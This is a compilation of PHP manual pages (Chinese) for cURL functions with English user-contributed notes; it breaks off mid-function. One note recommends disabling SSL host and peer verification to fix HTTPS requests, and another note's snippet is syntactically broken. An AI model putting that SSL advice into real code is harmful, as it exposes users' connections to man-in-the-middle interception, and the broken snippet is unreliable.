Peter X. 02-May-2008 07:44
Although it has been noted that cURL outperforms both file_get_contents and fopen when it comes to getting a file over a HTTP link, the disadvantage of cURL is that it has no way of only reading a part of a page at a time.

For example, the following code is likely to generate a memory limit error:

<?php
$ch = curl_init("http://www.example.com/reallybigfile.tar.gz");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
$output = curl_exec($ch);

$fh = fopen("out.tar.gz", 'w');
fwrite($fh, $output);
fclose($fh);
?>

While this, on the other hand, wouldn't

<?php
$hostfile = fopen("http://www.example.com/reallybigfile.tar.gz", 'r');
$fh = fopen("out.tar.gz", 'w');

while (!feof($hostfile)) {
    $output = fread($hostfile, 8192);
    fwrite($fh, $output);
}

fclose($hostfile);
fclose($fh);
?>
Mr.KTO 07-Jul-2007 06:59
Don't foget to curl_close($ch); Even if curl_errno($ch) != 0

Because if you don't - on Windows this will produce windows-error-report (Program terminated unexpectedly)
killermonk at REMOVE dot killermonk dot com 06-Mar-2007 11:23
For anyone trying to use cURL to submit to an ASP/ASPX page that uses an image as the submit button.

Make sure that you have 'button_name.x' and 'button_name.y' in the post fields. PHP names these fields 'button_name_x' and 'button_name_y', while ASP uses a dot.

Also, as noted above, be sure to include the '__VIEWSTATE' input field in your post request.
gordon_e_rouse at yahoo dot com dot au 25-Jan-2007 02:24
Using curl to take snapshots of the current page for emailing the HTML is a clever little idea. (ie: Email this page to a friend)

<?php
//to be explained below!
session_write_close();

$pageurl = "http://www.site.com/content.php?PHPSESSID=123XYZ
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt ($ch, CURLOPT_URL, $pageurl );
$html = curl_exec ( $ch );
curl_close($ch);

//then you need to fix pathing to absolute
$search = "/(src|href|background)=\"[^:,^>,^\"]*\"/i";

preg_match_all ( $search, $html, $a_matches );

//you can figure out the rest ! but thought the reg expression is useful as well
?>

But here is the catch, you may want to make sure curl connects to the server under the same session as the browser. So naturally you pass the session cookie through the curl system either by the cookie jar system, or through the query string in the path.

This is where you will get stuck. PHP will need write access to the same session file simultaneously!! causing serious hanging issues!

This is why you should close off your session before you make curl take a page snapshot!
galvao at galvao.eti.br 06-Jul-2006 08:27
Note that on Win32 this documentation can get a little confusing.

In order to get this to work you need to:

1) Be sure that the folder where libeay32.dll and ssleay32.dll - tipically C:\\PHP - is present on the PATH variable.

2) Uncomment - remove the semi-colon - the line that says "extension=php_curl.dll" from php.ini

3) Restart the webserver (you should already know this one, but...)

It took me some time to realize this, since this page doesn't mention the need to uncomment that php.ini's line.
richardkmiller AT gmail 02-Mar-2006 04:21
Beware of any extra spaces in the URL.  A trailing space in the URL caused my script to fail with the message "empty reply from server".
stevehartken at hotmail dot com 21-Feb-2006 10:40
I had the following experience when harvesting urls with a get variable from a page using cUrl. HTML pages will output ampersands as &amp when the page is read by the curl function.

If you code a script to find all hyperlinks, it will use &amp instead of &, especially using a regular expression search.

It is hard to detect because when you output the url to the browser it renders the html. To fix, add a line to replace the &amp with &.

<?php
function processURL($url){
    $url=str_replace('&amp;','&',$url);
    $ch=curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    $xml = curl_exec ($ch);
    curl_close ($ch);
    echo $xml;
}
?>
mikeb[at]xamo[dot]com 14-Oct-2004 01:11
A note of warning for PHP 5 users: if you try to fetch the CURLINFO_CONTENT_TYPE using curl_getinfo when there is a connect error, you will core dump PHP. I have informed the Curl team about this, so it will hopefully be fixed soon. Just make sure you check for an error before you look for this data.
alidrus at langkah dot com 14-Sep-2004 02:31
In recent versions of php, CURLOPT_MUTE has (probably) been deprecated. Any attempt of using curl_setopt() to set CURLOPT_MUTE will give you a warning like this:

PHP Notice:  Use of undefined constant CURLOPT_MUTE - assumed 'CURLOPT_MUTE' in ....

If you wish tu silence the curl output, use the following instead:

<?php
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
?>

And then,

<?php
    $curl_output=curl_exec($ch);
?>

The output of the curl operation will be stored as a string in $curl_output while the operation remains totally silent.
rich @ richud dot com 11-Jun-2004 07:12
If you have upgraded to using thread safe PHP (with apache 2 MPM=worker) note that
CURLOPT_COOKIEJAR / CURLOPT_COOKIEFILE both need an absolute path set for the cookie file location and no longer take a relative path.
(As before, also remember to have set correct permissions to allow a writeable cookie file/dir by apache)
[php 4.3.7/apache v2.0.49]
simon [at] vhostdirect [dot] co [dot] uk 03-Mar-2004 04:53
It took me quite some to to figure out how to get Curl (with SSL), OpenSSL and PHP to play nicely together.

After reinstalling MS-VC7 and compiling OpenSSL to finally realise this was'nt nesscary.

If your like me and like *Nix systems more than Windows then you'll most probly have similar problems.

I came across this, on a simple google with the right keywords.

http://www.tonyspencer.com/journal/00000037.htm

I read thru that and found my mistake.

Its just a small list of notes, I found them to be the best I've found on the subject and the most simplist.

Dont forget to add a simple line like this into your scripts to get them working on Win32.

<?php
if($WINDIR) curl_setopt($curl, CURLOPT_CAINFO, "c:\\windows\\ca-bundle.crt");
?>

Last note: ca-bundle.crt file is located in the Curl download. I stored mine in the windows directory and apache/php can access it fine.

All the best and I hope this helps.

Simon Lightfoot
vHost Direct Limited


关闭 cURL 会话

  • ? cURL 函数
  • curl_copy_handle ?
  • PHP Manual
  • cURL 函数
  • 关闭 cURL 会话

curl_close

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_close — 关闭 cURL 会话

说明

curl_close(CurlHandle $handle): void

Note:

此函数无效。在 PHP 8.0.0 之前，用于关闭资源。

关闭 cURL 会话并且释放所有资源。也会删除 cURL 句柄 handle。

参数

handle

由 curl_init() 返回的 cURL 句柄。

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。

示例

Example #1 初始化新 cURL 会话并获取网页

<?php
// 创建新 cURL 资源
$ch = curl_init();

// 设置 URL 和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取 URL 并把它传递给浏览器
curl_exec($ch);

// 关闭 cURL 资源，并且释放系统资源
curl_close($ch);
?>

参见

  • curl_init() - 初始化 cURL 会话
  • curl_multi_close() - 关闭一组 cURL 句柄

User Contributed Notes

JS 24-Aug-2023 02:56
Although the Note for this call says "Prior to PHP 8.0.0, this function was used to close the resource", I found that PHP 7.4.33 on CentOS is not closing the connection on curl_close.

The workaround if you want to make sure the connection closes immediately after the request is to set the curl option to forbid reuse:

curl_setopt($curl, CURLOPT_FORBID_REUSE, TRUE);


复制 cURL 句柄及其所有选项

  • ? curl_close
  • curl_errno ?
  • PHP Manual
  • cURL 函数
  • 复制 cURL 句柄及其所有选项

curl_copy_handle

(PHP 5, PHP 7, PHP 8)

curl_copy_handle — 复制 cURL 句柄及其所有选项

说明

curl_copy_handle(CurlHandle $handle): CurlHandle|false

复制 cURL 句柄并保持相同选项。

参数

handle

由 curl_init() 返回的 cURL 句柄。

返回值

返回新 cURL 句柄， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。
8.0.0 | 现在成功时，此函数返回 CurlHandle 实例，之前返回 resource。

示例

Example #1 复制 cURL 句柄

<?php
// 创建新 cURL 资源
$ch = curl_init();

// 设置 URL 和其它相应的选项
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/');
curl_setopt($ch, CURLOPT_HEADER, 0);

// 复制句柄
$ch2 = curl_copy_handle($ch);

// 抓取 URL（http://www.example.com/）并把它传递给浏览器
curl_exec($ch2);

// 关闭 cURL 资源，并且释放系统资源
curl_close($ch2);
curl_close($ch);
?>

User Contributed Notes

ac221 at sussex dot ac dot uk 16-Jun-2008 03:00
Hmm I don't have a problem with this, using PHP 5.2.5 libcurl 7.16.3 maybe it's been fixed ...

I am m having trouble getting curl_copy_handle to copy all the curlopts across though...

    protected function curlMultiPrime(array $reqArr){
        // Store the request array so we can reinitialise the multi handle
        $this->reqArr = $reqArr;
        // Close existing curl uni handles
        $this->closeMultiCurlUniHandles();
        foreach($reqArr as $curlConf){
            if(!($curlConf instanceof curlConfRequest ))
                throw new curlConfException('All objects passed to configure requests must be instances of curlConfRequest.',curlConfException::CURL_INVALID_CONF_OBJ);
            if(!$cch = curl_copy_handle($this->curlHandle)){
                throw new curlException('Failed to clone template curl handle.',$this->curlHandle);
            }else{
                curl_setopt_array($cch,$curlConf->getCurlOpts());
            }
            if(curl_multi_add_handle($this->curlMultiHandle,$cch) === 0){
                $this->curlUniHandleRef[] = $cch;
            }else{
                throw new curlException('Failed to add curl handle to multi stack.',$cch);
            }
        }
    }
administrator at proxy-list dot org 22-Jan-2008 05:08
There is some internal curl error (CURLE_FAILED_INIT) when you are trying to use just copied curl handle in curl_multi_add_handle(). I have checked the same problematic PHP code but with little difference: instead of creating curl's copy I have used the original one (template). As I expect code works without any error. I think curl_multi_* along with curl_copy_handle() is still raw and needs some improvements.

With best wishes

Vitali Simsive
Andrew 19-May-2007 11:39
You can use it for some kind of templates:

<?php
$ch = array();
$ch[0] = curl_init();
curl_setopt($ch[0], CURLOPT_URL, 'http://beengo.net/');
curl_setopt($ch[0], CURLOPT_HEADER, 0);
curl_setopt($ch[0], CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch[0], CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch[0], CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

$ch[1] = curl_copy_handle($ch[0]);
curl_setopt($ch[1], CURLOPT_URL, 'http://beengo.net/cells/list');

$ch[2] = curl_copy_handle($ch[0]);
curl_setopt($ch[2], CURLOPT_URL, 'http://beengo.net/cells/list?q=travel');

/* And so on, when you need to get number of pages with same parameters... */

?>


返回最后一次的错误代码

  • ? curl_copy_handle
  • curl_error ?
  • PHP Manual
  • cURL 函数
  • 返回最后一次的错误代码

curl_errno

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

curl_errno — 返回最后一次的错误代码

说明

curl_errno(CurlHandle $handle): int

返回最后一次 cURL 操作的错误代码。

参数

handle

由 curl_init() 返回的 cURL 句柄。

返回值

返回错误代码或在没有错误发生时返回 0 (零)。

更新日志

版本 | 说明
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。

示例

Example #1 curl_errno() 示例

<?php
// 创建 cURL 句柄，指向不存在的位置
$ch = curl_init('http://404.php.net/');

// 执行
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);

// 检查是否有错误发生
if(curl_errno($ch))
{
echo 'Curl error: ' . curl_error($ch);
}

// 关闭句柄
curl_close($ch);
?>

参见

  • curl_error() - 返回当前会话最后一次错误的字符串
  • » Curl 错误代码

User Contributed Notes

nono303 19-Jan-2022 12:24
CURLcode v7.81 reversed array for PHP  (from \curl\include\curl\curl.h l.495)
https://gist.github.com/nono303/de1256f55e26fdbcc3e0d72e397ac4a1
cubefox at web dot NOSPAMPLEASE dot de 30-Jul-2020 12:08
The manual above only mentions how to get an error description from the cURL handle ($ch) using curl_error():
<?php
$description = curl_error($ch);
?>

But you can also get a description from the error number itself using curl_strerror():
<?php
$description = curl_strerror(curl_errno($ch));
?>

The latter can be useful if you only have access to the error number but not to the cURL handle.
gmail@asmqb7 20-Apr-2019 04:43
/!\ ATTENTION if you are using curl multi handles

This function returns 0 in error conditions when run on curl handles accessed via curl_multi_info_read().

You must look at the data returned by curl_multi_info_read() for the true errno. The data is over there instead.
Eugene Kunkel 15-Nov-2016 11:25
Gets a current list of all CURLE_* error constants, their applicable error messages, and their applicable error codes. Useful for making wrapper classes or for mapping cURL errors to specific Exception objects.

<?php

$list   = get_defined_constants(TRUE);
$list   = preg_grep('/^CURLE_/', array_flip($list['curl']));
$result = array();

foreach ($list as $const) {
    $result[$const] = array
    (
        'code'    => constant($const),
        'message' => curl_strerror(constant($const))
    );
}

echo "<pre>";
echo print_r($result, TRUE);
echo "</pre>";
nimasdj AT yahoo [DOT] com 28-Jul-2015 03:48
To coder.ua[at]gmail.com:

Please note some errors have more than one constants:

[CURLE_FTP_PARTIAL_FILE]    18
[CURLE_PARTIAL_FILE]    18

[CURLE_HTTP_NOT_FOUND]    22
[CURLE_HTTP_RETURNED_ERROR]    22

[CURLE_OPERATION_TIMEDOUT]    28
[CURLE_OPERATION_TIMEOUTED]    28

[CURLE_BAD_DOWNLOAD_RESUME]    36
[CURLE_FTP_BAD_DOWNLOAD_RESUME]    36
coder.ua[at]gmail.com 10-Jan-2013 11:29
All available curl error constants and values in PHP 5.4.7 on FreeBSD 8.2-RELEASE:

CURLE_UNSUPPORTED_PROTOCOL => 1
CURLE_FAILED_INIT => 2
CURLE_URL_MALFORMAT => 3
CURLE_URL_MALFORMAT_USER => 4
CURLE_COULDNT_RESOLVE_PROXY => 5
CURLE_COULDNT_RESOLVE_HOST => 6
CURLE_COULDNT_CONNECT => 7
CURLE_FTP_WEIRD_SERVER_REPLY => 8
CURLE_FTP_ACCESS_DENIED => 9
CURLE_FTP_USER_PASSWORD_INCORRECT => 10
CURLE_FTP_WEIRD_PASS_REPLY => 11
CURLE_FTP_WEIRD_USER_REPLY => 12
CURLE_FTP_WEIRD_PASV_REPLY => 13
CURLE_FTP_WEIRD_227_FORMAT => 14
CURLE_FTP_CANT_GET_HOST => 15
CURLE_FTP_CANT_RECONNECT => 16
CURLE_FTP_COULDNT_SET_BINARY => 17
CURLE_PARTIAL_FILE => 18
CURLE_FTP_COULDNT_RETR_FILE => 19
CURLE_FTP_WRITE_ERROR => 20
CURLE_FTP_QUOTE_ERROR => 21
CURLE_HTTP_NOT_FOUND => 22
CURLE_WRITE_ERROR => 23
CURLE_MALFORMAT_USER => 24
CURLE_FTP_COULDNT_STOR_FILE => 25
CURLE_READ_ERROR => 26
CURLE_OUT_OF_MEMORY => 27
CURLE_OPERATION_TIMEOUTED => 28
CURLE_FTP_COULDNT_SET_ASCII => 29
CURLE_FTP_PORT_FAILED => 30
CURLE_FTP_COULDNT_USE_REST => 31
CURLE_FTP_COULDNT_GET_SIZE => 32
CURLE_HTTP_RANGE_ERROR => 33
CURLE_HTTP_POST_ERROR => 34
CURLE_SSL_CONNECT_ERROR => 35
CURLE_FTP_BAD_DOWNLOAD_RESUME => 36
CURLE_FILE_COULDNT_READ_FILE => 37
CURLE_LDAP_CANNOT_BIND => 38
CURLE_LDAP_SEARCH_FAILED => 39
CURLE_LIBRARY_NOT_FOUND => 40
CURLE_FUNCTION_NOT_FOUND => 41
CURLE_ABORTED_BY_CALLBACK => 42
CURLE_BAD_FUNCTION_ARGUMENT => 43
CURLE_BAD_CALLING_ORDER => 44
CURLE_HTTP_PORT_FAILED => 45
CURLE_BAD_PASSWORD_ENTERED => 46
CURLE_TOO_MANY_REDIRECTS => 47
CURLE_UNKNOWN_TELNET_OPTION => 48
CURLE_TELNET_OPTION_SYNTAX => 49
CURLE_OBSOLETE => 50
CURLE_SSL_PEER_CERTIFICATE => 51
CURLE_GOT_NOTHING => 52
CURLE_SSL_ENGINE_NOTFOUND => 53
CURLE_SSL_ENGINE_SETFAILED => 54
CURLE_SEND_ERROR => 55
CURLE_RECV_ERROR => 56
CURLE_SHARE_IN_USE => 57
CURLE_SSL_CERTPROBLEM => 58
CURLE_SSL_CIPHER => 59
CURLE_SSL_CACERT => 60
CURLE_BAD_CONTENT_ENCODING => 61
CURLE_LDAP_INVALID_URL => 62
CURLE_FILESIZE_EXCEEDED => 63
CURLE_FTP_SSL_FAILED] => 64
david at liip dot ch 09-Dec-2011 02:40
you should look on http://php.net/manual/en/curl.constants.php for the error codes, not on the linked official curl doc. some of the error codes are different, at least the one mentioned on the other page:

in PHP the curl error number 28 is called

CURLE_OPERATION_TIMEOUTED

while in the official site is:

CURLE_OPERATION_TIMEDOUT
denis at reddodo dot com 27-Mar-2011 03:10
if someone need more information about curl errors
<?php
$error_codes=array(
[1] => 'CURLE_UNSUPPORTED_PROTOCOL',
[2] => 'CURLE_FAILED_INIT',
[3] => 'CURLE_URL_MALFORMAT',
[4] => 'CURLE_URL_MALFORMAT_USER',
[5] => 'CURLE_COULDNT_RESOLVE_PROXY',
[6] => 'CURLE_COULDNT_RESOLVE_HOST',
[7] => 'CURLE_COULDNT_CONNECT',
[8] => 'CURLE_FTP_WEIRD_SERVER_REPLY',
[9] => 'CURLE_REMOTE_ACCESS_DENIED',
[11] => 'CURLE_FTP_WEIRD_PASS_REPLY',
[13] => 'CURLE_FTP_WEIRD_PASV_REPLY',
[14]=>'CURLE_FTP_WEIRD_227_FORMAT',
[15] => 'CURLE_FTP_CANT_GET_HOST',
[17] => 'CURLE_FTP_COULDNT_SET_TYPE',
[18] => 'CURLE_PARTIAL_FILE',
[19] => 'CURLE_FTP_COULDNT_RETR_FILE',
[21] => 'CURLE_QUOTE_ERROR',
[22] => 'CURLE_HTTP_RETURNED_ERROR',
[23] => 'CURLE_WRITE_ERROR',
[25] => 'CURLE_UPLOAD_FAILED',
[26] => 'CURLE_READ_ERROR',
[27] => 'CURLE_OUT_OF_MEMORY',
[28] => 'CURLE_OPERATION_TIMEDOUT',
[30] => 'CURLE_FTP_PORT_FAILED',
[31] => 'CURLE_FTP_COULDNT_USE_REST',
[33] => 'CURLE_RANGE_ERROR',
[34] => 'CURLE_HTTP_POST_ERROR',
[35] => 'CURLE_SSL_CONNECT_ERROR',
[36] => 'CURLE_BAD_DOWNLOAD_RESUME',
[37] => 'CURLE_FILE_COULDNT_READ_FILE',
[38] => 'CURLE_LDAP_CANNOT_BIND',
[39] => 'CURLE_LDAP_SEARCH_FAILED',
[41] => 'CURLE_FUNCTION_NOT_FOUND',
[42] => 'CURLE_ABORTED_BY_CALLBACK',
[43] => 'CURLE_BAD_FUNCTION_ARGUMENT',
[45] => 'CURLE_INTERFACE_FAILED',
[47] => 'CURLE_TOO_MANY_REDIRECTS',
[48] => 'CURLE_UNKNOWN_TELNET_OPTION',
[49] => 'CURLE_TELNET_OPTION_SYNTAX',
[51] => 'CURLE_PEER_FAILED_VERIFICATION',
[52] => 'CURLE_GOT_NOTHING',
[53] => 'CURLE_SSL_ENGINE_NOTFOUND',
[54] => 'CURLE_SSL_ENGINE_SETFAILED',
[55] => 'CURLE_SEND_ERROR',
[56] => 'CURLE_RECV_ERROR',
[58] => 'CURLE_SSL_CERTPROBLEM',
[59] => 'CURLE_SSL_CIPHER',
[60] => 'CURLE_SSL_CACERT',
[61] => 'CURLE_BAD_CONTENT_ENCODING',
[62] => 'CURLE_LDAP_INVALID_URL',
[63] => 'CURLE_FILESIZE_EXCEEDED',
[64] => 'CURLE_USE_SSL_FAILED',
[65] => 'CURLE_SEND_FAIL_REWIND',
[66] => 'CURLE_SSL_ENGINE_INITFAILED',
[67] => 'CURLE_LOGIN_DENIED',
[68] => 'CURLE_TFTP_NOTFOUND',
[69] => 'CURLE_TFTP_PERM',
[70] => 'CURLE_REMOTE_DISK_FULL',
[71] => 'CURLE_TFTP_ILLEGAL',
[72] => 'CURLE_TFTP_UNKNOWNID',
[73] => 'CURLE_REMOTE_FILE_EXISTS',
[74] => 'CURLE_TFTP_NOSUCHUSER',
[75] => 'CURLE_CONV_FAILED',
[76] => 'CURLE_CONV_REQD',
[77] => 'CURLE_SSL_CACERT_BADFILE',
[78] => 'CURLE_REMOTE_FILE_NOT_FOUND',
[79] => 'CURLE_SSH',
[80] => 'CURLE_SSL_SHUTDOWN_FAILED',
[81] => 'CURLE_AGAIN',
[82] => 'CURLE_SSL_CRL_BADFILE',
[83] => 'CURLE_SSL_ISSUER_ERROR',
[84] => 'CURLE_FTP_PRET_FAILED',
[84] => 'CURLE_FTP_PRET_FAILED',
[85] => 'CURLE_RTSP_CSEQ_ERROR',
[86] => 'CURLE_RTSP_SESSION_ERROR',
[87] => 'CURLE_FTP_BAD_FILE_LIST',
[88] => 'CURLE_CHUNK_FAILED');

?>
bozo_z_clown at yahoo dot com 14-Jun-2009 03:40
Note that you can detect errors using curl_multi_info_read() in the curl_multi_exec() loop that don't show up later using curl_errno().  This seems particularly true of connection errors.
Jacques Manukyan 28-Dec-2007 08:43
The error codes come directly from the curl source code. Specifically, look at the curl.h file and it will tell you exactly what each returned code does.

Most of these codes are cryptic but at least you can get a clue as to what the errors are.

Here is a quick snippet of what the errors in the curl.h look like:

  CURLE_OK = 0,
  CURLE_UNSUPPORTED_PROTOCOL,    /* 1 */
  CURLE_FAILED_INIT,             /* 2 */
  CURLE_URL_MALFORMAT,           /* 3 */
  CURLE_URL_MALFORMAT_USER,      /* 4 - NOT USED */
  CURLE_COULDNT_RESOLVE_PROXY,   /* 5 */
  CURLE_COULDNT_RESOLVE_HOST,    /* 6 */
  CURLE_COULDNT_CONNECT,         /* 7 */
  CURLE_FTP_WEIRD_SERVER_REPLY,  /* 8 */

Note that code 0 means its not an error, it means success.


返回当前会话最后一次错误的字符串

  • ? curl_errno
  • curl_escape ?
  • PHP Manual
  • cURL 函数
  • 返回当前会话最后一次错误的字符串

curl_error

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

curl_error — 返回当前会话最后一次错误的字符串

说明

curl_error(CurlHandle $handle): string

返回最近一次 cURL 操作的文本错误详情。

参数

handle

由 curl_init() 返回的 cURL 句柄。

返回值

返回错误信息，或者如果没有任何错误发生就返回 '' (空字符串)。

更新日志

版本 | 说明
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。

示例

Example #1 curl_error() 示例

<?php
// 创建 cURL 句柄，指向一个不存在的位置
$ch = curl_init('http://404.php.net/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

if(curl_exec($ch) === false)
{
echo 'Curl error: ' . curl_error($ch);
}
else
{
echo '操作完成没有任何错误';
}

// 关闭句柄
curl_close($ch);
?>

参见

  • curl_errno() - 返回最后一次的错误代码
  • » Curl 错误代码

User Contributed Notes

Anonymous 18-Jan-2021 08:40
If you're using curl_multi and there's an error, curl_error() will remain empty until you've called curl_multi_info_read(). That function "pumps" the information inside the curl libraries to the point where curl_error() will return a useful string.

This should really be added to the documentation, because it's not at all obvious.
anrdaemon at freemail dot ru 04-Mar-2019 08:05
curl_error is not a textual representation of curl_errno.
It's an actual error *message*.
If you want textual representation of error *code*, look for curl_strerror.
patrick at ibuildings dot nl 03-May-2013 11:13
If you want to fetch the error message, make sure you fetch it before you close the current cURL session or the error message will be reset to an empty string.
paul at paulmcgarry dot com 24-Nov-2008 05:00
For a 404 response to actually trigger an error as the example seems to be trying to demonstrate the following option should be set:

curl_setopt($ch,CURLOPT_FAILONERROR,true);

As per http://curl.haxx.se/libcurl/c/libcurl-errors.html

CURLE_HTTP_RETURNED_ERROR (22)
This is returned if CURLOPT_FAILONERROR is set TRUE and the HTTP server returns an error code that is >= 400. (This error code was formerly known as CURLE_HTTP_NOT_FOUND.)


使用 URL 编码给定的字符串

  • ? curl_error
  • curl_exec ?
  • PHP Manual
  • cURL 函数
  • 使用 URL 编码给定的字符串

curl_escape

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_escape — 使用 URL 编码给定的字符串

说明

curl_escape(CurlHandle $handle, string $string): string|false

该函数使用 URL 根据 » RFC 3986 编码给定的字符串。

参数

handle

由 curl_init() 返回的 cURL 句柄。

string

需要编码的字符串。

返回值

返回编码后的字符串 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。

示例

Example #1 curl_escape() 示例

<?php
// 创建 curl 句柄
$ch = curl_init();

// 把编码后的字符串当做 GET 参数
$location = curl_escape($ch, 'Hofbr?uhaus / München');
// 结果： Hofbr%C3%A4uhaus%20%2F%20M%C3%BCnchen

// 用编码好的字符串组装 URL
$url = "http://example.com/add_location.php?location={$location}";
// 结果：http://example.com/add_location.php?location=Hofbr%C3%A4uhaus%20%2F%20M%C3%BCnchen

// 发送 HTTP 请求并关闭句柄
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
?>

参见

  • curl_unescape() - 解码指定 URL 编码的字符串
  • urlencode() - 编码 URL 字符串
  • rawurlencode() - 按照 RFC 3986 对 URL 进行编码
  • » RFC 3986

User Contributed Notes

sam dot tyurenkov at gmail dot com 24-May-2020 12:19
Please someone add an example for escaping ampersands between parameters.

E.g. what is the correct approach for using this URL with curl:
https://example.com/?p1=1&p2=2&p3=3

This is not obvious, and needs explanation.
Franois 10-Oct-2014 09:45
This function is strictly equivalent to rawurlencode().

Internally it uses curl_easy_escape() from libcurl, whose doc says: "This function converts the given input string to an URL encoded string (...). All input characters that are not a-z, A-Z, 0-9, '-', '.', '_' or '~' are converted to their "URL escaped" version (%NN where NN is a two-digit hexadecimal number)."
Nico 29-Sep-2014 01:51
What is difference between this function and urlencode()?


执行 cURL 会话

  • ? curl_escape
  • curl_getinfo ?
  • PHP Manual
  • cURL 函数
  • 执行 cURL 会话

curl_exec

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_exec — 执行 cURL 会话

说明

curl_exec(CurlHandle $handle): string|bool

执行指定 cURL 会话。

这个函数应该在初始化 cURL 会话并且设置所有选项后调用。

参数

handle

由 curl_init() 返回的 cURL 句柄。

返回值

成功时返回 true， 或者在失败时返回 false。 然而，如果设置了 CURLOPT_RETURNTRANSFER 选项，将会在成功时返回结果，失败时返回 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

Note:

注意：指示错误的响应状态码（例如 404 Not found）不会视为失败。这种情况可以使用 curl_getinfo() 来检查。

更新日志

版本 | 说明
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。

示例

Example #1 获取网页

<?php
// 创建新的 cURL 资源
$ch = curl_init();

// 设置 URL 和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取 URL 并把它传递给浏览器
curl_exec($ch);

// 关闭 cURL 资源，并且释放系统资源
curl_close($ch);
?>

参见

  • curl_multi_exec() - 运行当前 cURL 句柄的子连接

User Contributed Notes

jpatta at digitalgamesystems dot com 25-Mar-2021 03:21
If you are looking the debug curl_exec, you may wish to log its details, and analyze the various time points during its execution.

before curl_exec:

<?php
    // this will produce a curl log
    curl_setopt($curl, CURLOPT_VERBOSE, true);
    curl_setopt($curl, CURLOPT_STDERR, fopen('/your/writable/app/logdir/curl.log', 'a+')); // a+ to append...
?>

after curl_exec, but before curl_close:

<?php
    // this will extract the timing information
    extract(curl_getinfo($curl)); // create metrics variables from getinfo
    $appconnect_time = curl_getinfo($curl, CURLINFO_APPCONNECT_TIME); // request this time explicitly
    $downloadduration = number_format($total_time - $starttransfer_time, 9); // format, to get rid of scientific notation
    $namelookup_time = number_format($namelookup_time, 9);
    $metrics = "CURL...: $url Time...: $total_time DNS: $namelookup_time Connect: $connect_time SSL/SSH: $appconnect_time PreTransfer: $pretransfer_time StartTransfer: $starttransfer_time Download: $downloadduration";
    error_log($metrics);  // write to php-fpm default www-error.log, or append it to same log as above with file_put_contents(<filename>, $metrics, FILE_APPEND)
?>

Happy debugging
Roland 16-Nov-2020 05:55
To check for a timeout or error -

 if (!$responsexml || !is_string($responsexml) || !strlen($responsexml) || strpos($responsexml, 'upstream request timeout') !== false) {
            return $this->sendRequest($request, $headers);
        }
turiyag 25-May-2017 05:07
Don't disable SSL verification! You don't need to, and it's super easy to stay secure! If you found that turning off "CURLOPT_SSL_VERIFYHOST" and "CURLOPT_SSL_VERIFYPEER" solved your problem, odds are you're just on a Windows box. Takes 2 min to solve the problem. Walkthrough here:

https://snippets.webaware.com.au/howto/stop-turning-off-curlopt_ssl_verifypeer-and-fix-your-php-config/
bimal at sanjaal dot com 26-Mar-2016 07:33
If you are accessing HTTPS URLs and you do not receive any contents, try to disable verifying SSL.

<?php
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
?>
hablutzel1 at gmail dot com 24-May-2014 05:04
Be always aware that CURLOPT_SSL_VERIFYPEER set to FALSE or 0 should never be used for production as it makes the link inmediately vulnerable to man-in-the-middle attack, still you can use it during development, but I would suggest that only if you KNOW what are you doing, otherwise spend some more time making requests to HTTPS sites work without resorting to set that option to FALSE or 0.
Manu Manjunath 12-Dec-2013 01:24
If you want to get contents of a page through HTTP GET or POST,  you can write a small function like below.

<?php
/**
 * Read entire contents of a URL in a string
 * @param string $url URL to fetch data from
 * @param mixed $params Parameters to the URL, typically an array. In case of POST, can be a string
 * @param string $method HTTP method - can be 'GET' (default) or 'POST'
 * @return mixed Contents of the webpage. Returns <i>false</i> in case of failure.
 */
function url_get_contents($url, $params = null, $method = 'GET') {
    $contents = false;
    if (!in_array($method, array('GET', 'POST'))) {
        error_log(__FUNCTION__ . ": Unknown method '$method'");
        return false;
    }
    if ($method == 'GET') {
        if (is_array($params) && count($params) > 0) {
            if ($params === array_values($params)) {
                error_log(__FUNCTION__ . ": Numerical array recieved for argument '\$params' (assoc array expected)");
                return false;
            }
            else {
                $url .= '?' . http_build_query($params);
            }
        }
        elseif (!is_null($params)) {
            error_log(__FUNCTION__ . ": If you're making a GET request, argument \$params must be null or assoc array.");
            return false;
        }
    }
    $ch = curl_init($url);
    if ($ch !== false) {
        curl_setopt_array($ch, array(
            CURLOPT_HEADER => false,
            CURLOPT_RETURNTRANSFER => true,
        ));
        if ($method == 'POST') {
            curl_setopt($ch, CURLOPT_POST, true);
            if (is_string($params) || is_array($params)) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
            }
            else {
